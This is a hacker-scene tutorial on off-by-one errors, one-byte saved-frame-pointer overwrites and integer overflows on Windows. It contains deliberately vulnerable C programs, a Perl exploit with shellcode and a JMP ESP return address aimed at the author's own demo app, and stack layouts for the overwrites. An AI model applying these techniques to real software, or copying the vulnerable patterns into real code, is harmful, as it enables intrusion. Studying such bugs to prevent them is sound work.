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#                            Exotic Vulnerabilities                            #
#                       by Nomenumbra/[0x00SEC]				       #	
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Intro:

Well, this small paper will be discussing two exotic vulns that are getting more
and more common, or actually more common knowledge. When b0fs where starting to
hit the scene back in the days of Aleph1 they were extremely common in most apps
(and still are in some), but more and more coders are getting aware of these
security risks and are doing boundschecking and are taking other measures. Well,
these 'protections' can often be circumvented in very silly ways, trough often
neglected and misunderstood bugs. I will be discussing off-by-one errors and
integer overflows in this paper.

Off-by-one errors:
I'm discussing off-by-one errors here, for those who don't know what an
off-by-one error is, here is a short description from wikipedia:

"An off-by-one error in computer programming is an avoidable error in which a
loop iterates one too many or one too few times. Usually this problem arises
when a programmer fails to take into account that a sequence starts at zero
rather than one, or makes mistakes such as using "is less than" where "is less
than or equal to" should have been used in a comparison."

Example:
Imagine the coder would want do preform an action on elements m to n of an array
X, how would he calculate how many element would he have to process? Some would
answer n-m, which is ...
WRONG. This example is known as the "fencepost" error (the famous maths
problem). The correct answer would be n-m+1. See the following code:

for(int i = 0; i < (n-m); i++)
DoSomething(X[i+m]);

the coder might think he would preform the action over elements m to n of X but
actually he preforms them over m to n-1.

So it's actually the result of a shit-ass coder? Well, it is, but an off-by-one
bug is made more often than you think. Often hidden deep within a vulnerable
app, and not quite as obvious as the given examples. The following app is an
example (totally useless) app that features 3 vulns that can, when combined,
lead to system compromise.

#include <cstdlib>
#include <iostream>
#define UserCount 2

using namespace std;

struct UserStruct {
char* Username;
char* Password;
int Access;
}; // lame 'user' structure

UserStruct UserArray[UserCount]; // array

void LameFunc(char* Data) // some lame no-good function
{
char buffer[10];
strcpy(buffer,Data); // extremely simple b0f for demonstration purposes lol
return;
}
void SomeLoop(int Times,char* Data)
{
// The coder thinks that if Times is 0, the loop won't run since while(Times >
0) will be false
// the loop will however run at least 1 time, because of the Do statement, so
this is off-by-one
// this kind of error occurs quite often, but less obvious ofcourse
do {
LameFunc(Data);
Times--;
} while (Times > 0);
}

void Initialize() // initialize the 'users' which may only have numeric
usernames and passwords
{
UserArray[0].Username = "123";
UserArray[0].Password = "321";
UserArray[0].Access = 9; // number of times their loop will run
UserArray[1].Username = "456";
UserArray[1].Password = "654";
UserArray[1].Access = 1;
}

bool IsNoShellcode(char* Data) // checks if Data is numeric only
{
for(int i = 0; i < strlen(Data); i++)
if (((int)Data[i] > 57) || ((int)Data[i] < 48))
return false;
return true;
}

int Auth(char* User,char* Passwd) // checks if user and password are authed, if
so it returns the //number of times their loop will run, else it will return 0
since the coder is under the false //assumption the loop won't run at all if
Times is 0
{
for (int i = 0; i < UserCount; i++)
{
if((strcmp(UserArray[i].Username,User) == 0) &&
(strcmp(UserArray[i].Password,Passwd) == 0))
return UserArray[i].Access;
}
return 0;
}

int main(int argc, char *argv[])
{
if (argc != 4)
{
printf("[?]Lameapp v1.0\nUsage: %s username password data\n",argv[0]);
exit(-1);
}
Initialize();
//'Sanitize' input
for(int i = 0; i < (3-1); i++) // The coder thinks this will loop from 1 to 3,
but it will only loop //from 1 to 2 (fencepost error)
if(!IsNoShellcode(argv[i+1])) // 'avoid' shellcode in the buffers
exit(-1);
SomeLoop(Auth(argv[1],argv[2]),argv[3]);
return 0;
}

Ok, I hear everyone thinking WTF?! What is the PURPOSE of this app, good guess,
none, it's totally useless, but hey, it's an example and so is most software
nowadays. The apps works as follows:

lameapp.exe username password data

Assuming we can't read the passwords (we can't do DLL-injection on the app, we
can't reverse it,etc just ASSUME it for a second ) we don't have a valid login,
which is nothing to worry about, because the loop will run anyway, even if we're
unauthentificated (because of the do { } while off-by-one error). Then the
programmer tries to prevent shellcode being 'stored' in either of the arguments
(instead of just coding secure) by "sanitizing" the arguments, but the
sanitizing routine is off by one, since not elements m trough n are processed
but m trough n-1. Thus leaving the last argument argv[3] unsanitized, to store
our data. I know, this example is TOO obvious, but it is an illustration to
off-by-one errors. So exploiting this bitch wouldn't be hard. Assuming you know
how to exploit buffer overflows on the windows platform (if you don't read
either Tonto's articleb0f_1 or mineb0f_2 ) the exploit would look as follows:

#!/usr/bin/perl
my $ShellCode = "\x33\xc0\xeb\x16\x59\x88\x41\x04\x50\x51\x51\x50\
xb8\x24\xe8\xd3\x77\xff\xd0\xb8\x63\x9


8\xe5\x77\xf f\xd0\xe8\xe5\xff\xff\xff\x68\x69\x32\x75\x4e";

my $TargetApp = "C:\\lameapp";
my $OverflowString = "\x90"x28;

my $JMPESP = "\x24\x29\xD8\x77";
my $XploitStr = $TargetApp." 666 666 ".$OverflowString.$JMPESP.$ShellCode;
system($XploitStr);

Stack Frame pointer overwriting:

Another interesting case of off-by-one is stack frame pointer overwriting,
documented by Klog (http://www.phrack.org/phrack/55/P55-08). I'll describe the
basic aspects in a windows situation (yeah yeah call me names already) here.
Imagine a situation of the worst case, a buffer overflow in which you can only
overflow with ONE byte (off-by-one), how could this lead to us influencing the
code execution of the app? That'll be discussed here.
There are some differences between the linux (discussed by Klog) and windows
variant, with the windows variant having some drawbacks over the linux one.
There are a multitude of possible situations when it comes to stack frame
pointer overwriting, every situation having it's own unique traits. Since this
is a 'worst case scenario' exploit, exploitation will be quite difficult at
times.

Ok imagine (or just read ;p) this situation:

#include <stdio.h>
#include <cstdlib>
#define BUFFSIZE 1024
int main(int argc, char *argv[])
{
char buff[BUFFSIZE];
for (int i = 0; i <= BUFFSIZE; i++)
*(buff+i) = argv[1][i];
return 0;
}

Well, some people will say, what's the problem mate, you just take up till
BUFFSIZE, so all fits nicely! Well, upon closer examination they will be proven
wrong because the loop is off-by-one (because of the <= instead of just <). So
we have an overflow of exactly ONE byte, what's that gonna help us? Well, for an
answer to that let's look at the layout of the stack with such an app:

saved_eip
saved_ebp
char buffer[255]
char buffer[254]
...
char buffer[000]
int i

so if we overflow buffer with one byte, the last byte of the DWORD of the saved
ebp will be overwritten, thus we can trick the program into believing the
original EBP (saved in the function prologue: push EBP, MOV EBP,ESP) is our
(partially) overwritten value.

This action being followed by the function epilogue:

mov ESP,EBP
add ESP,4
pop EBP

(which is also LEAVE).

Now, we want ESP to point to the address of our shellcode (located in the
overflowing buffer), so since ESP will be EBP+4 so saved EBP should be the
address of our shellcode, 4. Since we cannot control the third byte of the saved
ebp , we can't make ESP hold the address of the start of our buffer, so we
should fill it with nops till the address we can make ESP hold.

Well when researching this vuln, I found some weird difference between
compilers. When compiled with VC6 or gcc, there seems to be no problem or
difference, but when compiled with Mingw, there is a problem which I'll discuss
in a minute.
Now take this app:

#include <stdio.h>
#include <cstdlib>
#define BUFFSIZE 1024

void Funk(char* bf)
{
char buff[BUFFSIZE];
for (int i = 0; i < (BUFFSIZE+9); i++)
*(buff+i) = bf[i];
}
int main(int argc, char *argv[])
{
Funk(argv[1]);
return 0;
}

This app differs from the first in one major concept, it doesn't do the real
for(i = 0; i <= BUFFSIZE; i++) what makes it off-by-one, but instead it will
copy till BUFFSIZE+9. This is because I first compiled my app with mingw, making
the stack layout look like:

saved_eip
saved_ebp
[Mr-x DWORD]
[Mr-x DWORD]
char buffer[255]
char buffer[254]
...
char buffer[000]
int i

there are two DWORDs of unknown purpose between our buffer and the saved EBP. I
first suspected them to be canary values, but since their content is static,
that's bullshit. I will talk about this later. As I already told you, there are
no such problems with VC6 or Gcc, this seems to be a mingw problem (thanks to
Tonto for verifying this).

The routine Funk (for a Mingw compiled program) looks like this when
disassembled:

00401290 /$ 55 PUSH EBP
00401291 |. 89E5 MOV EBP,ESP
00401293 |. 81EC 18040000 SUB ESP,418
00401299 |. C785 F4FBFFFF > MOV DWORD PTR SS:[EBP-40C],0
004012A3 |> 81BD F4FBFFFF > /CMP DWORD PTR SS:[EBP-40C],408
004012AD |. 7F 27 |JG SHORT a.004012D6
004012AF |. 8D45 F8 |LEA EAX,DWORD PTR SS:[EBP-8]
004012B2 |. 0385 F4FBFFFF |ADD EAX,DWORD PTR SS:[EBP-40C]
004012B8 |. 8D90 00FCFFFF |LEA EDX,DWORD PTR DS:[EAX-400]
004012BE |. 8B45 08 |MOV EAX,DWORD PTR SS:[EBP+8]
004012C1 |. 0385 F4FBFFFF |ADD EAX,DWORD PTR SS:[EBP-40C]
004012C7 |. 0FB600 |MOVZX EAX,BYTE PTR DS:[EAX]
004012CA |. 8802 |MOV BYTE PTR DS:[EDX],AL ; move bf[i] into buffer[i]
004012CC |. 8D85 F4FBFFFF |LEA EAX,DWORD PTR SS:[EBP-40C]
004012D2 |. FF00 |INC DWORD PTR DS:[EAX]
004012D4 |.^EB CD \JMP SHORT a.004012A3
004012D6 |> C9 LEAVE
004012D7 \. C3 RETN

and like this when compiled with gcc:

004012C3 |. C745 F4 000000> MOV DWORD PTR SS:[EBP-404],0
004012CA |> 817D F4 FF0300> /CMP DWORD PTR SS:[EBP-404],3FF
004012D1 |. 7F 15 |JG SHORT a.004012E8
004012D3 |. 8D45 F8 |LEA EAX,DWORD PTR SS:[EBP-400]
004012D6 |. 0345 F4 |ADD EAX,DWORD PTR SS:[EBP-404]
004012DE |. C600 41 |MOV BYTE PTR DS:[EAX],41
004012E4 |. FF00 |INC DWORD PTR DS:[EBP-404]
004012E6 |.^EB E2 \JMP SHORT a.004012CA

As can be seen in the hex dump around buffer in OllyDBG when going trough this
routine:

00 00 05 00 00 00 41 41 #...AA
41 41 41 <junkjunkjunk> AAA

the 05 00 00 00 is a DWORD reservated for int i, after that buffer is located,
with junk after it, that is to be overwritten with the data to be stuffed into
the buffer. And this will eventually overwrite the last byte of the saved ebp
(in the case of a mingw compilation with the byte at position (1024 + 9) else
with the byte at position (1024 + 1) inside argv[1]). Now look at a part of the
disassembled Main:

0040130D |. E8 7EFFFFFF CALL a.00401290
00401312 |. B8 00000000 MOV EAX,0
00401317 |. C9 LEAVE
00401318 \. C3 RETN

Ok, now take a carefull look at the registers as we move trough our apps'
execution:

Before the LEAVE in Funk, EBP is 0x0022FF58 (points to saved_ebp) after the
LEAVE,EBP is 0x0022FF<overflowing byte here> (while it should be 0x0022FF78) and
ESP is changed 0x0022FF5C ( 0x0022FF58 + 4). Now if we continue execution until
just after Main's LEAVE (in the example at 0x00401317) we can see that ESP is
now 0x0022FF<overflowing byte + 4), and EIP will be popped from that address, so
we have our exploitable condition! Our initial overflowing buffer should look
like:

In case of a mingw compilation:
["\x90"x1024] + ["\x90" x 8] + [overflowing byte]
In case of a gcc compilation:
["\x90"x1024] + [overflowing byte]

Now we should let the overflowing byte point somewhere in the middle of our
buffer. Keep in mind that that byte will be increased with 0x04 though in ESP.
In this case 0x01 should suffice, becoming 0x05 in ESP.

Then, at that address (in our buffer: 0x0022FF05) we should have the address of
the start of our shellcode, that will be popped into EIP. So we should have the
following exploitation buffer:

[Shellcode][addr of Shellcode][overflowing nops (if necessary)][overflowing byte
pointing to the addres of [addr of Shellcode]]

There is are several issues with this exploitation method on windows though. Due
to buff being declared in Func, it might have it's data partially overwritten
(due to windows' relative addressing method), rendering this exploit useless. I
told you there are some major differences in exploitation on windows and linux
(as always >.>) and this is a large drawback because we this REALLY makes this a
worst case scenario. The other (and probably biggest) drawback are the two
strange DWORDs between the saved EBP and our buffer on a Mingw compilation. This
means we must be very careful at looking what compiler what used to compile the
app before drawing conclusions about potential exploitable content.

Integer overflows:

Integer overflows are misunderstood bugs. They are relatively rare, but not in
the sense of occurance but in the sense of discovery. They are often overlooked
or just neglected due to the lack of exploitation knowledge. Well, integer
overflows basically consist of increasing an integer beyond it's maximum
capacity, thus sometimes causing exploitatable behavior. Ok, look at the
following min and max value table of several data types:

So, let's look at the next aritmetic example:

int main(int argc,char* argv[])
{
byte a = 0xFF;
a += 0x1;
return 0;
}

running this app in a debugger would reveal to us what you might have suspected.
Since 0xFF is 255 but also (in case of an unsigned 8-bit value) -1. So adding 1
to 0xFF (being the max value of a byte) makes -1 + 1 = 0. This can be abused for
our own purposes. Imagine the following app vulnerable to a simple b0f:

int main(int argc,char* argv)
{
char buffer[20];
if(argc != 3)
exit(-1);
int i = atoi(argv[2]);
unsigned short s = i;
if (s > 19) // 'prevent' b0f
exit(-1);
strncpy(buffer,argv[1],i);
return 0;
}

This is indeed an extremely gullible app, trusting the user with inputting the
length of the data, but these constructs occur more often than you think, more
obscurely and complex yes, but they occur nontheless. Now, this app checks if s
is bigger than 19, which would cause a potential b0f, so it 'prevents' it this
way. What's wrong though is this line:

unsigned short s = i;

since atoi returns a signed 32-bit int which can hold up to 2,147,483,647 and an
unsigned short can only hold up to 65,535, thus we could input 65,536 in
argv[2], overflowing s (and setting it to 0) bypassing the bounds checking and
overflowing the buffer anyway.

Now, the following example will incorporate several vulnerablilities in one app:

char* UserBuffer = (char*)malloc(10);
int TrustedData = (int)malloc(4);
memcpy(&TrustedData,&SomeTrustedSource,4);
int len = atoi(argv[2]);
short l = len; // [V1]
if(l > 9) // [V1.5]
exit(-1);
strncpy(UserBuffer,argv[1],len); //[V2]
if (TrustedData + SomeUserSuppliedValue > SomeLimit) // [V3]
DoSomethingElse()

Ok, the first vuln lies with [V1], where len is converted to a short from an
int, like discussed earlier this can help us bypass the boundschecking at [V1.5]
and copy more data to UserBuffer [V2] than it can handle and heap overflow
TrustedData (we should copy (addr of TrustedData's allocated area), (addr of
UserBuffer's allocated area) bytes to UserBuffer and all data after that will
overwrite the data in TrustedData, which is assumed to originate from
SomeTrustedSource. We can for example exploit this as a signedness error, Making
TrustedData negative, thus bypassing the boundschecking at [V3], and potentially
overflowing data that relies on SomeUserSuppliedValue as a limit.

Outro:
Well, I hope you liked the article and learned something new from it. And
remember, 0-days are 0-days, don't make them public
Anyways, shouts go to the whole HackThisSite cast & crew , NullSec, .aware community, ASO/PTP
community, guys over at SmashTheStack and vx.netlux.org peeps.

Nomenumbra